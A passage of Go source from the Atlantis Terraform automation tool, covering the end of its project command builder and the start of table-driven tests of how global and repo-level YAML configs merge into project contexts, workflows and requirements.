ctx.Pull.Num, plan.Workspace, plan.RepoRelDir, plan.ProjectName, commentCmd.Name) if err != nil { return nil, err } defer unlockFn() commentCmds, err := p.buildProjectCommandCtx(ctx, commentCmd.CommandName(), commentCmd.SubName, plan.ProjectName, commentCmd.Flags, defaultRepoDir, plan.RepoRelDir, plan.Workspace, commentCmd.Verbose) if err != nil { return nil, fmt.Errorf("building command for dir '%s': %w", plan.RepoRelDir, err) } cmds = append(cmds, commentCmds...) } sort.Slice(cmds, func(i, j int) bool { return cmds[i].ExecutionOrderGroup < cmds[j].ExecutionOrderGroup }) return cmds, nil } // buildProjectCommand builds an command for the single project // identified by cmd except plan. func (p *DefaultProjectCommandBuilder) buildProjectCommand(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { workspace := DefaultWorkspace if cmd.Workspace != "" { workspace = cmd.Workspace } var projCtx []command.ProjectContext unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace, DefaultRepoRelDir, cmd.ProjectName, cmd.Name) if err != nil { return projCtx, err } defer unlockFn() // use the default repository workspace because it is the only one guaranteed to have an atlantis.yaml, // other workspaces will not have the file if they are using pre_workflow_hooks to generate it dynamically repoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, DefaultWorkspace) if errors.Is(err, os.ErrNotExist) { return projCtx, errors.New("no working directory found–did you run plan?") } else if err != nil { return projCtx, err } repoRelDir := DefaultRepoRelDir if cmd.RepoRelDir != "" { repoRelDir = cmd.RepoRelDir } return p.buildProjectCommandCtx( ctx, cmd.Name, cmd.SubName, cmd.ProjectName, cmd.Flags, repoDir, repoRelDir, workspace, cmd.Verbose, ) } // buildProjectCommandCtx builds a context for a single or several projects identified // by the parameters. func (p *DefaultProjectCommandBuilder) buildProjectCommandCtx(ctx *command.Context, cmd command.Name, subCmd string, projectName string, commentFlags []string, repoDir string, repoRelDir string, workspace string, verbose bool) ([]command.ProjectContext, error) { matchingProjects, repoCfgPtr, err := p.getCfg(ctx, projectName, repoRelDir, workspace, repoDir) if err != nil { return []command.ProjectContext{}, err } var projCtxs []command.ProjectContext var projCfg valid.MergedProjectCfg automerge := p.EnableAutoMerge parallelApply := p.EnableParallelApply parallelPlan := p.EnableParallelPlan abortOnExecutionOrderFail := DefaultAbortOnExecutionOrderFail if repoCfgPtr != nil { if repoCfgPtr.Automerge != nil { automerge = *repoCfgPtr.Automerge } if repoCfgPtr.ParallelApply != nil { parallelApply = *repoCfgPtr.ParallelApply } if repoCfgPtr.ParallelPlan != nil { parallelPlan = *repoCfgPtr.ParallelPlan } abortOnExecutionOrderFail = repoCfgPtr.AbortOnExecutionOrderFail } if len(matchingProjects) > 0 { // Override any dir/workspace defined on the comment with what was // defined in config. This shouldn't matter since we don't allow comments // with both project name and dir/workspace. repoRelDir = projCfg.RepoRelDir workspace = projCfg.Workspace for _, mp := range matchingProjects { ctx.Log.Debug("Merging config for project at dir: '%s' workspace: '%s'", mp.Dir, mp.Workspace) projCfg = p.GlobalCfg.MergeProjectCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp, *repoCfgPtr) projCtxs = append(projCtxs, p.ProjectCommandContextBuilder.BuildProjectContext( ctx, cmd, subCmd, projCfg, commentFlags, repoDir, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail, p.TerraformExecutor, )...) } } else { // Ignore the project if silenced with projects set in the repo config if p.SilenceNoProjects && repoCfgPtr != nil && len(repoCfgPtr.Projects) > 0 { ctx.Log.Debug("silencing is in effect, project will be ignored") return []command.ProjectContext{}, nil } projCfg = p.GlobalCfg.DefaultProjCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), repoRelDir, workspace) projCtxs = append(projCtxs, p.ProjectCommandContextBuilder.BuildProjectContext( ctx, cmd, subCmd, projCfg, commentFlags, repoDir, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail, p.TerraformExecutor, )...) } if err := p.validateWorkspaceAllowed(repoCfgPtr, repoRelDir, workspace); err != nil { return []command.ProjectContext{}, err } // Filter projects to only include ones the user is authorized for projCtxs = slices.DeleteFunc(projCtxs, func(projCtx command.ProjectContext) bool { if projCtx.TeamAllowlistChecker == nil || !projCtx.TeamAllowlistChecker.HasRules() { // allowlist restriction is not enabled return false } ctx := models.TeamAllowlistCheckerContext{ BaseRepo: projCtx.BaseRepo, CommandName: projCtx.CommandName.String(), EscapedCommentArgs: projCtx.EscapedCommentArgs, HeadRepo: projCtx.HeadRepo, Log: projCtx.Log, Pull: projCtx.Pull, ProjectName: projCtx.ProjectName, RepoDir: repoDir, RepoRelDir: projCtx.RepoRelDir, User: projCtx.User, Verbose: projCtx.Verbose, Workspace: projCtx.Workspace, API: false, } return !projCtx.TeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, projCtx.User.Teams, projCtx.CommandName.String()) }) return projCtxs, nil } // validateWorkspaceAllowed returns an error if repoCfg defines projects in // repoRelDir but none of them use workspace. We want this to be an error // because if users have gone to the trouble of defining projects in repoRelDir // then it's likely that if we're running a command for a workspace that isn't // defined then they probably just typed the workspace name wrong. func (p *DefaultProjectCommandBuilder) validateWorkspaceAllowed(repoCfg *valid.RepoCfg, repoRelDir string, workspace string) error { if repoCfg == nil { return nil } return repoCfg.ValidateWorkspaceAllowed(repoRelDir, workspace) } ================================================ FILE: server/events/project_command_builder_internal_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "os" "path/filepath" "testing" version "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/config" "github.com/runatlantis/atlantis/server/core/config/valid" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics/metricstest" . "github.com/runatlantis/atlantis/testing" ) // Test different permutations of global and repo config. func TestBuildProjectCmdCtx(t *testing.T) { logger := logging.NewNoopLogger(t) statsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), "atlantis") emptyPolicySets := valid.PolicySets{ Version: nil, PolicySets: []valid.PolicySet{}, } baseRepo := models.Repo{ FullName: "owner/repo", VCSHost: models.VCSHost{ Hostname: "github.com", }, } pull := models.PullRequest{ BaseRepo: baseRepo, } cases := map[string]struct { globalCfg string repoCfg string expErr string expCtx command.ProjectContext expPlanSteps []string expApplySteps []string }{ // Test that if we've set global defaults and no project config // that the global defaults are used. "global defaults": { globalCfg: ` repos: - id: /.*/ workflow: default workflows: default: plan: steps: - init - plan apply: steps: - apply`, repoCfg: "", expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: false, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logger, Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "", PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"init", "plan"}, expApplySteps: []string{"apply"}, }, // Test that if we've set global defaults, that they are used but the // allowed project config values also come through. "global defaults with repo cfg": { globalCfg: ` repos: - id: /.*/ workflow: default workflows: default: plan: steps: - init - plan apply: steps: - apply`, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace autoplan: enabled: true when_modified: [../modules/**/*.tf] terraform_version: v10.0 `, expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logger, Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "", PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", TerraformVersion: mustVersion("10.0"), User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"init", "plan"}, expApplySteps: []string{"apply"}, }, // Set a global apply req that should be used. "global requirements": { globalCfg: ` repos: - id: /.*/ workflow: default plan_requirements: [approved, mergeable] apply_requirements: [approved, mergeable] import_requirements: [approved, mergeable] workflows: default: plan: steps: - init - plan apply: steps: - apply`, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace autoplan: enabled: true when_modified: [../modules/**/*.tf] terraform_version: v10.0 `, expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logger, Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "", PlanRequirements: []string{"approved", "mergeable"}, ApplyRequirements: []string{"approved", "mergeable"}, ImportRequirements: []string{"approved", "mergeable"}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", TerraformVersion: mustVersion("10.0"), User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"init", "plan"}, expApplySteps: []string{"apply"}, }, // If we have global config that matches a specific repo, it should be used. "specific repo": { globalCfg: ` repos: - id: /.*/ workflow: default - id: github.com/owner/repo workflow: specific plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] workflows: default: plan: steps: - init - plan apply: steps: - apply specific: plan: steps: - plan apply: steps: []`, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace autoplan: enabled: true when_modified: [../modules/**/*.tf] terraform_version: v10.0 `, expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logger, Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "", PlanRequirements: []string{"approved"}, ApplyRequirements: []string{"approved"}, ImportRequirements: []string{"approved"}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", TerraformVersion: mustVersion("10.0"), User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"plan"}, expApplySteps: []string{}, }, // We should get an error if the repo sets an apply req when its // not allowed. "repo defines apply_requirements": { globalCfg: ` repos: - id: /.*/ workflow: default apply_requirements: [approved, mergeable] workflows: default: plan: steps: - init - plan apply: steps: - apply`, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace apply_requirements: [] `, expErr: "repo config not allowed to set 'apply_requirements' key: server-side config needs 'allowed_overrides: [apply_requirements]'", }, // We should get an error if a repo sets a workflow when it's not allowed. "repo sets its own workflow": { globalCfg: ` repos: - id: /.*/ workflow: default apply_requirements: [approved, mergeable] workflows: default: plan: steps: - init - plan apply: steps: - apply`, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace workflow: default `, expErr: "repo config not allowed to set 'workflow' key: server-side config needs 'allowed_overrides: [workflow]'", }, // We should get an error if a repo defines a workflow when it's not // allowed. "repo defines new workflow": { globalCfg: ` repos: - id: /.*/ workflow: default apply_requirements: [approved, mergeable] workflows: default: plan: steps: - init - plan apply: steps: - apply`, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace workflows: new: ~ `, expErr: "repo config not allowed to define custom workflows: server-side config needs 'allow_custom_workflows: true'", }, // If the repos are allowed to set everything then their config should // come through. "full repo permissions": { globalCfg: ` repos: - id: /.*/ workflow: default apply_requirements: [approved] import_requirements: [approved] allowed_overrides: [apply_requirements, import_requirements, workflow] allow_custom_workflows: true workflows: default: plan: steps: [] apply: steps: [] `, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace autoplan: enabled: true when_modified: [../modules/**/*.tf] terraform_version: v10.0 apply_requirements: [] import_requirements: [] workflow: custom workflows: custom: plan: steps: - plan apply: steps: - apply `, expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logger, Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "", PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", TerraformVersion: mustVersion("10.0"), User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"plan"}, expApplySteps: []string{"apply"}, }, // Repos can choose server-side workflows. "repos choose server-side workflow": { globalCfg: ` repos: - id: /.*/ workflow: default allowed_overrides: [workflow] workflows: default: plan: steps: [] apply: steps: [] custom: plan: steps: [plan] apply: steps: [apply] `, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace autoplan: enabled: true when_modified: [../modules/**/*.tf] terraform_version: v10.0 workflow: custom `, expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logger, Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "", PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", TerraformVersion: mustVersion("10.0"), User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"plan"}, expApplySteps: []string{"apply"}, }, // Repo-side workflows with the same name override server-side if // allowed. "repo-side workflow override": { globalCfg: ` repos: - id: /.*/ workflow: custom allowed_overrides: [workflow] allow_custom_workflows: true workflows: custom: plan: steps: [plan] apply: steps: [apply] `, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace autoplan: enabled: true when_modified: [../modules/**/*.tf] terraform_version: v10.0 workflow: custom workflows: custom: plan: steps: [] apply: steps: [] `, expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logger, Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "", PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", TerraformVersion: mustVersion("10.0"), User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{}, expApplySteps: []string{}, }, // Test that if we leave keys undefined, that they don't override. "cascading matches": { globalCfg: ` repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] - id: github.com/owner/repo workflow: custom workflows: custom: plan: steps: [plan] `, repoCfg: ` version: 3 projects: - dir: project1 workspace: myworkspace `, expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: false, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logger, Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "", PlanRequirements: []string{"approved"}, ApplyRequirements: []string{"approved"}, ImportRequirements: []string{"approved"}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"plan"}, expApplySteps: []string{"apply"}, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { tmp := DirStructure(t, map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "modules": map[string]any{ "module": map[string]any{ "main.tf": nil, }, }, }) workingDir := NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmp, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn([]string{"modules/module/main.tf"}, nil) // Write and parse the global config file. globalCfgPath := filepath.Join(tmp, "global.yaml") Ok(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600)) parser := &config.ParserValidator{} globalCfgArgs := valid.GlobalCfgArgs{} globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) Ok(t, err) if c.repoCfg != "" { Ok(t, os.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) } terraformClient := tfclientmocks.NewMockClient() builder := NewProjectCommandBuilder( false, parser, &DefaultProjectFinder{}, vcsClient, workingDir, NewDefaultWorkingDirLocker(), globalCfg, &DefaultPendingPlanFinder{}, &CommentParser{ExecutableName: "atlantis"}, false, false, false, false, false, "", "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", false, false, false, "auto", statsScope, terraformClient, ) // We run a test for each type of command. for _, cmd := range []command.Name{command.Plan, command.Apply} { t.Run(cmd.String(), func(t *testing.T) { ctxs, err := builder.buildProjectCommandCtx(&command.Context{ Log: logger, Scope: statsScope, Pull: models.PullRequest{ BaseRepo: baseRepo, }, PullRequestStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, }, cmd, "", "", []string{"flag"}, tmp, "project1", "myworkspace", true) if c.expErr != "" { ErrEquals(t, c.expErr, err) return } Ok(t, err) ctx := ctxs[0] // Construct expected steps. var stepNames []string switch cmd { case command.Plan: stepNames = c.expPlanSteps case command.Apply: stepNames = c.expApplySteps } var expSteps []valid.Step for _, stepName := range stepNames { expSteps = append(expSteps, valid.Step{ StepName: stepName, }) } c.expCtx.CommandName = cmd // Init fields we couldn't in our cases map. c.expCtx.Steps = expSteps ctx.PolicySets = emptyPolicySets // Job ID cannot be compared since its generated at random ctx.JobID = "" Equals(t, c.expCtx, ctx) // Equals() doesn't compare TF version properly so have to // use .String(). if c.expCtx.TerraformVersion != nil { Equals(t, c.expCtx.TerraformVersion.String(), ctx.TerraformVersion.String()) } }) } }) } } func TestBuildProjectCmdCtx_WithRegExpCmdEnabled(t *testing.T) { statsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), "atlantis") emptyPolicySets := valid.PolicySets{ Version: nil, PolicySets: []valid.PolicySet{}, } baseRepo := models.Repo{ FullName: "owner/repo", VCSHost: models.VCSHost{ Hostname: "github.com", }, } pull := models.PullRequest{ BaseRepo: baseRepo, } cases := map[string]struct { globalCfg string repoCfg string expErr string expCtx command.ProjectContext expPlanSteps []string expApplySteps []string }{ // Test that if we've set global defaults, that they are used but the // allowed project config values also come through. "global defaults with repo cfg": { globalCfg: ` repos: - id: /.*/ workflow: default workflows: default: plan: steps: - init - plan apply: steps: - apply`, repoCfg: ` version: 3 automerge: true projects: - name: myproject_1 dir: project1 workspace: myworkspace autoplan: enabled: true when_modified: [../modules/**/*.tf] terraform_version: v10.0 - name: myproject_2 dir: project2 workspace: myworkspace autoplan: enabled: true when_modified: [../modules/**/*.tf] terraform_version: v10.0 - name: myproject_3 dir: project3 workspace: myworkspace autoplan: enabled: true when_modified: [../modules/**/*.tf] terraform_version: v10.0 `, expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -p myproject_1", ApprovePoliciesCmd: "atlantis approve_policies -p myproject_1", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logging.NewNoopLogger(t), Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "myproject_1", PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -p myproject_1 -- flag", RepoRelDir: "project1", TerraformVersion: mustVersion("10.0"), User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"init", "plan"}, expApplySteps: []string{"apply"}, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { tmp := DirStructure(t, map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "modules": map[string]any{ "module": map[string]any{ "main.tf": nil, }, }, }) workingDir := NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmp, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn([]string{"modules/module/main.tf"}, nil) // Write and parse the global config file. globalCfgPath := filepath.Join(tmp, "global.yaml") Ok(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600)) parser := &config.ParserValidator{} globalCfgArgs := valid.GlobalCfgArgs{} globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) Ok(t, err) if c.repoCfg != "" { Ok(t, os.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) } statsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), "atlantis") terraformClient := tfclientmocks.NewMockClient() builder := NewProjectCommandBuilder( false, parser, &DefaultProjectFinder{}, vcsClient, workingDir, NewDefaultWorkingDirLocker(), globalCfg, &DefaultPendingPlanFinder{}, &CommentParser{ExecutableName: "atlantis"}, false, true, false, false, false, "", "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", false, false, false, "auto", statsScope, terraformClient, ) // We run a test for each type of command, again specific projects for _, cmd := range []command.Name{command.Plan, command.Apply} { t.Run(cmd.String(), func(t *testing.T) { ctxs, err := builder.buildProjectCommandCtx(&command.Context{ Pull: models.PullRequest{ BaseRepo: baseRepo, }, Log: logging.NewNoopLogger(t), Scope: statsScope, PullRequestStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, }, cmd, "", "myproject_[1-2]", []string{"flag"}, tmp, "project1", "myworkspace", true) if c.expErr != "" { ErrEquals(t, c.expErr, err) return } Ok(t, err) ctx := ctxs[0] Equals(t, 2, len(ctxs)) // Construct expected steps. var stepNames []string switch cmd { case command.Plan: stepNames = c.expPlanSteps case command.Apply: stepNames = c.expApplySteps } var expSteps []valid.Step for _, stepName := range stepNames { expSteps = append(expSteps, valid.Step{ StepName: stepName, }) } c.expCtx.CommandName = cmd // Init fields we couldn't in our cases map. c.expCtx.Steps = expSteps ctx.PolicySets = emptyPolicySets // Job ID cannot be compared since its generated at random ctx.JobID = "" Equals(t, c.expCtx, ctx) // Equals() doesn't compare TF version properly so have to // use .String(). if c.expCtx.TerraformVersion != nil { Equals(t, c.expCtx.TerraformVersion.String(), ctx.TerraformVersion.String()) } }) } }) } } func TestBuildProjectCmdCtx_WithPolicCheckEnabled(t *testing.T) { logger := logging.NewNoopLogger(t) statsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), "atlantis") emptyPolicySets := valid.PolicySets{ Version: nil, PolicySets: []valid.PolicySet{}, } baseRepo := models.Repo{ FullName: "owner/repo", VCSHost: models.VCSHost{ Hostname: "github.com", }, } pull := models.PullRequest{ BaseRepo: baseRepo, } cases := map[string]struct { globalCfg string repoCfg string expErr string expCtx command.ProjectContext expPolicyCheckSteps []string }{ // Test that if we've set global defaults and no project config // that the global defaults are used. "global defaults": { globalCfg: ` repos: - id: /.*/ `, repoCfg: "", expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: false, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logger, Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "", PlanRequirements: []string{}, ApplyRequirements: []string{"policies_passed"}, ImportRequirements: []string{}, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, }, expPolicyCheckSteps: []string{"show", "policy_check"}, }, // If the repos are allowed to set everything then their config should // come through. "full repo permissions": { globalCfg: ` repos: - id: /.*/ workflow: default apply_requirements: [approved] allowed_overrides: [apply_requirements, workflow] allow_custom_workflows: true workflows: default: policy_check: steps: [] `, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace autoplan: enabled: true when_modified: [../modules/**/*.tf] terraform_version: v10.0 apply_requirements: [] workflow: custom workflows: custom: policy_check: steps: - policy_check `, expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, Log: logger, Scope: statsScope, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Pull: pull, ProjectName: "", PlanRequirements: []string{}, ApplyRequirements: []string{"policies_passed"}, ImportRequirements: []string{}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", TerraformVersion: mustVersion("v10.0"), User: models.User{}, Verbose: true, Workspace: "myworkspace", PolicySets: emptyPolicySets, RepoLocksMode: valid.DefaultRepoLocksMode, PolicySetTarget: "", }, expPolicyCheckSteps: []string{"policy_check"}, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { tmp := DirStructure(t, map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "modules": map[string]any{ "module": map[string]any{ "main.tf": nil, }, }, }) workingDir := NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmp, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn([]string{"modules/module/main.tf"}, nil) // Write and parse the global config file. globalCfgPath := filepath.Join(tmp, "global.yaml") Ok(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600)) parser := &config.ParserValidator{} globalCfgArgs := valid.GlobalCfgArgs{ PolicyCheckEnabled: true, } globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) Ok(t, err) if c.repoCfg != "" { Ok(t, os.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) } statsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), "atlantis") terraformClient := tfclientmocks.NewMockClient() builder := NewProjectCommandBuilder( true, parser, &DefaultProjectFinder{}, vcsClient, workingDir, 